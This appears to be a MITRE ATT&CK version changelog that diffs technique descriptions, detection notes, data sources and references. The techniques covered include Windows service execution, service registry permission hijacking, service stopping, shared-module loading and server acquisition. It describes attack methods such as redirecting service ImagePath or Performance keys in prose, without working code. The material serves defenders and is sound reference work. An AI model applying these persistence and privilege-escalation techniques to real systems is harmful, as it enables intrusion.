|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, lease, or | t | 1 | Adversaries may buy, lease, or rent physical servers that ca |
| > | rent physical servers that can be used during targeting. Us | > | n be used during targeting. Use of servers allows an adversa | ||
| > | e of servers allows an adversary to stage, launch, and execu | > | ry to stage, launch, and execute an operation. During post-c | ||
| > | te an operation. During post-compromise activity, adversarie | > | ompromise activity, adversaries may utilize servers for vari | ||
| > | s may utilize servers for various tasks, including for Comma | > | ous tasks, including for Command and Control. Instead of com | ||
| > | nd and Control. Instead of compromising a third-party [Serve | > | promising a third-party [Server](https://attack.mitre.org/te | ||
| > | r](https://attack.mitre.org/techniques/T1584/004) or renting | > | chniques/T1584/004) or renting a [Virtual Private Server](ht | ||
| > | a [Virtual Private Server](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1583/003), adversaries ma | ||
| > | ues/T1583/003), adversaries may opt to configure and run the | > | y opt to configure and run their own servers in support of o | ||
| > | ir own servers in support of operations. Adversaries may on | > | perations. Adversaries may only need a lightweight setup if | ||
| > | ly need a lightweight setup if most of their activities will | > | most of their activities will take place using online infra | ||
| > | take place using online infrastructure. Or, they may need t | > | structure. Or, they may need to build extensive infrastructu | ||
| > | o build extensive infrastructure if they want to test, commu | > | re if they want to test, communicate, and control other aspe | ||
| > | nicate, and control other aspects of their activities on the | > | cts of their activities on their own systems.(Citation: NYTS | ||
| > | ir own systems.(Citation: NYTStuxnet) | > | tuxnet) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-12 16:49:11.340000+00:00 | 2021-10-17 15:39:45.736000+00:00 |
| description | Before compromising a victim, adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet) | Adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet) |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:34:19.961000+00:00 | 2021-10-18 17:05:44.743000+00:00 |
| x_mitre_data_sources[0] | Netflow/Enclave netflow | File: File Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Modification |
| x_mitre_data_sources[2] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[3] | Application logs | Network Traffic: Network Traffic Content |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
| x_mitre_data_sources | Application Log: Application Log Content |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse the Windows service control manager to | t | 1 | Adversaries may abuse the Windows service control manager to |
| > | execute malicious commands or payloads. The Windows service | > | execute malicious commands or payloads. The Windows service | ||
| > | control manager (<code>services.exe</code>) is an interface | > | control manager (<code>services.exe</code>) is an interface | ||
| > | to manage and manipulate services.(Citation: Microsoft Serv | > | to manage and manipulate services.(Citation: Microsoft Serv | ||
| > | ice Control Manager) The service control manager is accessib | > | ice Control Manager) The service control manager is accessib | ||
| > | le to users via GUI components as well as system utilities s | > | le to users via GUI components as well as system utilities s | ||
| > | uch as <code>sc.exe</code> and [Net](https://attack.mitre.or | > | uch as <code>sc.exe</code> and [Net](https://attack.mitre.or | ||
| > | g/software/S0039). [PsExec](https://attack.mitre.org/softwa | > | g/software/S0039). [PsExec](https://attack.mitre.org/softwa | ||
| > | re/S0029) can also be used to execute commands or payloads v | > | re/S0029) can also be used to execute commands or payloads v | ||
| > | ia a temporary Windows service created through the service c | > | ia a temporary Windows service created through the service c | ||
| > | ontrol manager API.(Citation: Russinovich Sysinternals) Adv | > | ontrol manager API.(Citation: Russinovich Sysinternals) Tool | ||
| > | ersaries may leverage these mechanisms to execute malicious | > | s such as [PsExec](https://attack.mitre.org/software/S0029) | ||
| > | content. This can be done by either executing a new or modif | > | and <code>sc.exe</code> can accept remote servers as argumen | ||
| > | ied service. This technique is the execution used in conjunc | > | ts and may be used to conduct remote execution. Adversaries | ||
| > | tion with [Windows Service](https://attack.mitre.org/techniq | > | may leverage these mechanisms to execute malicious content. | ||
| > | ues/T1543/003) during service persistence or privilege escal | > | This can be done by either executing a new or modified serv | ||
| > | ation. | > | ice. This technique is the execution used in conjunction wit | ||
| > | h [Windows Service](https://attack.mitre.org/techniques/T154 | ||||
| > | 3/003) during service persistence or privilege escalation. | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 18:52:02.384000+00:00 | 2021-08-30 17:42:40.945000+00:00 |
| description | Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).
[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals)
Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation. | Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).
[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.
Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation. |
| x_mitre_data_sources[0] | Windows Registry | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Service: Service Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:56:03.131000+00:00 | 2021-03-29 16:11:12.815000+00:00 |
| x_mitre_data_sources[0] | Netflow/Enclave netflow | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Network device logs | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network intrusion detection system | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Web application firewall logs | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Web logs | |
| x_mitre_data_sources | SSL/TLS inspection | |
| x_mitre_platforms | SaaS |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may stop or disable services on a system to rend | t | 1 | Adversaries may stop or disable services on a system to rend |
| > | er those services unavailable to legitimate users. Stopping | > | er those services unavailable to legitimate users. Stopping | ||
| > | critical services can inhibit or stop response to an inciden | > | critical services or processes can inhibit or stop response | ||
| > | t or aid in the adversary's overall objectives to cause dama | > | to an incident or aid in the adversary's overall objectives | ||
| > | ge to the environment.(Citation: Talos Olympic Destroyer 201 | > | to cause damage to the environment.(Citation: Talos Olympic | ||
| > | 8)(Citation: Novetta Blockbuster) Adversaries may accompli | > | Destroyer 2018)(Citation: Novetta Blockbuster) Adversaries | ||
| > | sh this by disabling individual services of high importance | > | may accomplish this by disabling individual services of hig | ||
| > | to an organization, such as <code>MSExchangeIS</code>, which | > | h importance to an organization, such as <code>MSExchangeIS< | ||
| > | will make Exchange content inaccessible (Citation: Novetta | > | /code>, which will make Exchange content inaccessible (Citat | ||
| > | Blockbuster). In some cases, adversaries may stop or disable | > | ion: Novetta Blockbuster). In some cases, adversaries may st | ||
| > | many or all services to render systems unusable.(Citation: | > | op or disable many or all services to render systems unusabl | ||
| > | Talos Olympic Destroyer 2018) Services may not allow for mod | > | e.(Citation: Talos Olympic Destroyer 2018) Services or proce | ||
| > | ification of their data stores while running. Adversaries ma | > | sses may not allow for modification of their data stores whi | ||
| > | y stop services in order to conduct [Data Destruction](https | > | le running. Adversaries may stop services or processes in or | ||
| > | ://attack.mitre.org/techniques/T1485) or [Data Encrypted for | > | der to conduct [Data Destruction](https://attack.mitre.org/t | ||
| > | Impact](https://attack.mitre.org/techniques/T1486) on the d | > | echniques/T1485) or [Data Encrypted for Impact](https://atta | ||
| > | ata stores of services like Exchange and SQL Server.(Citatio | > | ck.mitre.org/techniques/T1486) on the data stores of service | ||
| > | n: SecureWorks WannaCry Analysis) | > | s like Exchange and SQL Server.(Citation: SecureWorks WannaC | ||
| > | ry Analysis) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-24 15:36:08.042000+00:00 | 2021-03-02 22:11:32.017000+00:00 |
| description | Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)
Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis) | Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)
Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis) |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[3] | Windows Registry | Service: Service Metadata |
| x_mitre_data_sources[4] | API monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Process: Process Termination |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the Registry entries used by services. Adversaries may | > | cking the Registry entries used by services. Adversaries may | ||
| > | use flaws in the permissions for registry to redirect from | > | use flaws in the permissions for Registry keys related to s | ||
| > | the originally specified executable to one that they control | > | ervices to redirect from the originally specified executable | ||
| > | , in order to launch their own code at Service start. Windo | > | to one that they control, in order to launch their own code | ||
| > | ws stores local service configuration information in the Reg | > | when a service starts. Windows stores local service configu | ||
| > | istry under <code>HKLM\SYSTEM\CurrentControlSet\Services</co | > | ration information in the Registry under <code>HKLM\SYSTEM\C | ||
| > | de>. The information stored under a service's Registry keys | > | urrentControlSet\Services</code>. The information stored und | ||
| > | can be manipulated to modify a service's execution parameter | > | er a service's Registry keys can be manipulated to modify a | ||
| > | s through tools such as the service controller, sc.exe, [Po | > | service's execution parameters through tools such as the ser | ||
| > | werShell](https://attack.mitre.org/techniques/T1059/001), or | > | vice controller, sc.exe, [PowerShell](https://attack.mitre. | ||
| > | [Reg](https://attack.mitre.org/software/S0075). Access to R | > | org/techniques/T1059/001), or [Reg](https://attack.mitre.org | ||
| > | egistry keys is controlled through Access Control Lists and | > | /software/S0075). Access to Registry keys is controlled thro | ||
| > | permissions. (Citation: Registry Key Security) If the permi | > | ugh access control lists and user permissions. (Citation: Re | ||
| > | ssions for users and groups are not properly set and allow a | > | gistry Key Security)(Citation: malware_hides_service) If th | ||
| > | ccess to the Registry keys for a service, then adversaries c | > | e permissions for users and groups are not properly set and | ||
| > | an change the service binPath/ImagePath to point to a differ | > | allow access to the Registry keys for a service, adversaries | ||
| > | ent executable under their control. When the service starts | > | may change the service's binPath/ImagePath to point to a di | ||
| > | or is restarted, then the adversary-controlled program will | > | fferent executable under their control. When the service sta | ||
| > | execute, allowing the adversary to gain persistence and/or p | > | rts or is restarted, then the adversary-controlled program w | ||
| > | rivilege escalation to the account context the service is se | > | ill execute, allowing the adversary to establish persistence | ||
| > | t to execute under (local/domain account, SYSTEM, LocalServi | > | and/or privilege escalation to the account context the serv | ||
| > | ce, or NetworkService). Adversaries may also alter Registry | > | ice is set to execute under (local/domain account, SYSTEM, L | ||
| > | keys associated with service failure parameters (such as <c | > | ocalService, or NetworkService). Adversaries may also alter | ||
| > | ode>FailureCommand</code>) that may be executed in an elevat | > | other Registry keys in the service’s Registry tree. For exa | ||
| > | ed context anytime the service fails or is intentionally cor | > | mple, the <code>FailureCommand</code> key may be changed so | ||
| > | rupted.(Citation: Kansa Service related collectors)(Citation | > | that the service is executed in an elevated context anytime | ||
| > | : Tweet Registry Perms Weakness) | > | the service fails or is intentionally corrupted.(Citation: K | ||
| > | ansa Service related collectors)(Citation: Tweet Registry Pe | ||||
| > | rms Weakness) The <code>Performance</code> key contains the | ||||
| > | name of a driver service's performance DLL and the names of | ||||
| > | several exported functions in the DLL.(Citation: microsoft_ | ||||
| > | services_registry_tree) If the <code>Performance</code> key | ||||
| > | is not already present and if an adversary-controlled user h | ||||
| > | as the <code>Create Subkey</code> permission, adversaries ma | ||||
| > | y create the <code>Performance</code> key in the service’s R | ||||
| > | egistry tree to point to a malicious DLL.(Citation: insecure | ||||
| > | _reg_perms) Adversaries may also add the <code>Parameters</ | ||||
| > | code> key, which stores driver-specific data, or other custo | ||||
| > | m subkeys for their malicious services to establish persiste | ||||
| > | nce or enable other malicious activities.(Citation: microsof | ||||
| > | t_services_registry_tree)(Citation: troj_zegost) Additionall | ||||
| > | y, If adversaries launch their malicious services using svch | ||||
| > | ost.exe, the service’s file may be identified using <code>HK | ||||
| > | EY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicena | ||||
| > | me\Parameters\ServiceDll</code>.(Citation: malware_hides_ser | ||||
| > | vice) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:07:48.590000+00:00 | 2021-10-14 23:52:52.058000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security)
If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
Adversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) | Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)
If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)
The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)
Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll.(Citation: malware_hides_service) |
| external_references[3]['source_name'] | Kansa Service related collectors | malware_hides_service |
| external_references[3]['description'] | Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019. | Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021. |
| external_references[3]['url'] | https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html | https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/ |
| external_references[4]['source_name'] | Tweet Registry Perms Weakness | Kansa Service related collectors |
| external_references[4]['description'] | @r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018. | Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019. |
| external_references[4]['url'] | https://twitter.com/r0wdy_/status/936365549553991680 | https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html |
| external_references[5]['source_name'] | Autoruns for Windows | Tweet Registry Perms Weakness |
| external_references[5]['description'] | Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020. | @r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018. |
| external_references[5]['url'] | https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns | https://twitter.com/r0wdy_/status/936365549553991680 |
| x_mitre_data_sources[0] | Windows Registry | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Services | Process: Process Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Service: Service Metadata |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'microsoft_services_registry_tree', 'description': 'Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree'} | |
| external_references | {'source_name': 'insecure_reg_perms', 'description': 'Clément Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.', 'url': 'https://itm4n.github.io/windows-registry-rpceptmapper-eop/'} | |
| external_references | {'source_name': 'troj_zegost', 'description': 'Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.', 'url': 'https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost'} | |
| external_references | {'source_name': 'Autoruns for Windows', 'description': 'Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.', 'url': 'https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns'} | |
| x_mitre_data_sources | Command: Command Execution |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse shared modules to execute malicious pa | t | 1 | Adversaries may execute malicious payloads via loading share |
| > | yloads. The Windows module loader can be instructed to load | > | d modules. The Windows module loader can be instructed to lo | ||
| > | DLLs from arbitrary local paths and arbitrary Universal Nami | > | ad DLLs from arbitrary local paths and arbitrary Universal N | ||
| > | ng Convention (UNC) network paths. This functionality reside | > | aming Convention (UNC) network paths. This functionality res | ||
| > | s in NTDLL.dll and is part of the Windows [Native API](https | > | ides in NTDLL.dll and is part of the Windows [Native API](ht | ||
| > | ://attack.mitre.org/techniques/T1106) which is called from f | > | tps://attack.mitre.org/techniques/T1106) which is called fro | ||
| > | unctions like <code>CreateProcess</code>, <code>LoadLibrary< | > | m functions like <code>CreateProcess</code>, <code>LoadLibra | ||
| > | /code>, etc. of the Win32 API. (Citation: Wikipedia Windows | > | ry</code>, etc. of the Win32 API. (Citation: Wikipedia Windo | ||
| > | Library Files) The module loader can load DLLs: * via spec | > | ws Library Files) The module loader can load DLLs: * via s | ||
| > | ification of the (fully-qualified or relative) DLL pathname | > | pecification of the (fully-qualified or relative) DLL pathna | ||
| > | in the IMPORT directory; * via EXPORT forwarded to anot | > | me in the IMPORT directory; * via EXPORT forwarded to a | ||
| > | her DLL, specified with (fully-qualified or relative) pathna | > | nother DLL, specified with (fully-qualified or relative) pat | ||
| > | me (but without extension); * via an NTFS junction or s | > | hname (but without extension); * via an NTFS junction o | ||
| > | ymlink program.exe.local with the fully-qualified or relativ | > | r symlink program.exe.local with the fully-qualified or rela | ||
| > | e pathname of a directory containing the DLLs specified in t | > | tive pathname of a directory containing the DLLs specified i | ||
| > | he IMPORT directory or forwarded EXPORTs; * via <code>& | > | n the IMPORT directory or forwarded EXPORTs; * via <cod | ||
| > | #x3c;file name="filename.extension" loadFrom="fully-qualifie | > | e><file name="filename.extension" loadFrom="fully-quali | ||
| > | d or relative pathname"></code> in an embedded or exter | > | fied or relative pathname"></code> in an embedded or ex | ||
| > | nal "application manifest". The file name refers to an entry | > | ternal "application manifest". The file name refers to an en | ||
| > | in the IMPORT directory or a forwarded EXPORT. Adversaries | > | try in the IMPORT directory or a forwarded EXPORT. Adversar | ||
| > | may use this functionality as a way to execute arbitrary co | > | ies may use this functionality as a way to execute arbitrary | ||
| > | de on a victim system. For example, malware may execute shar | > | payloads on a victim system. For example, malware may execu | ||
| > | e modules to load additional components or features. | > | te share modules to load additional components or features. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 18:14:36.980000+00:00 | 2021-10-15 13:48:02.963000+00:00 |
| description | Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)
The module loader can load DLLs:
* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;
* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);
* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;
* via <file name="filename.extension" loadFrom="fully-qualified or relative pathname"> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.
Adversaries may use this functionality as a way to execute arbitrary code on a victim system. For example, malware may execute share modules to load additional components or features. | Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)
The module loader can load DLLs:
* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;
* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);
* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;
* via <file name="filename.extension" loadFrom="fully-qualified or relative pathname"> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.
Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features. |
| x_mitre_data_sources[0] | API monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | DLL monitoring | Module: Module Load |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring | |
| x_mitre_data_sources | Process monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 17:21:27.487000+00:00 | 2021-04-13 21:30:24.555000+00:00 |
| x_mitre_data_sources[0] | File monitoring | File: File Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Modification |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Creation |
| x_mitre_detection | Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections. | Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections. Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'BSidesSLC 2020 - LNK Elastic', 'description': 'French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020.', 'url': 'https://www.youtube.com/watch?v=nJ0UsyiUEqQ'} | |
| x_mitre_contributors | David French, Elastic | |
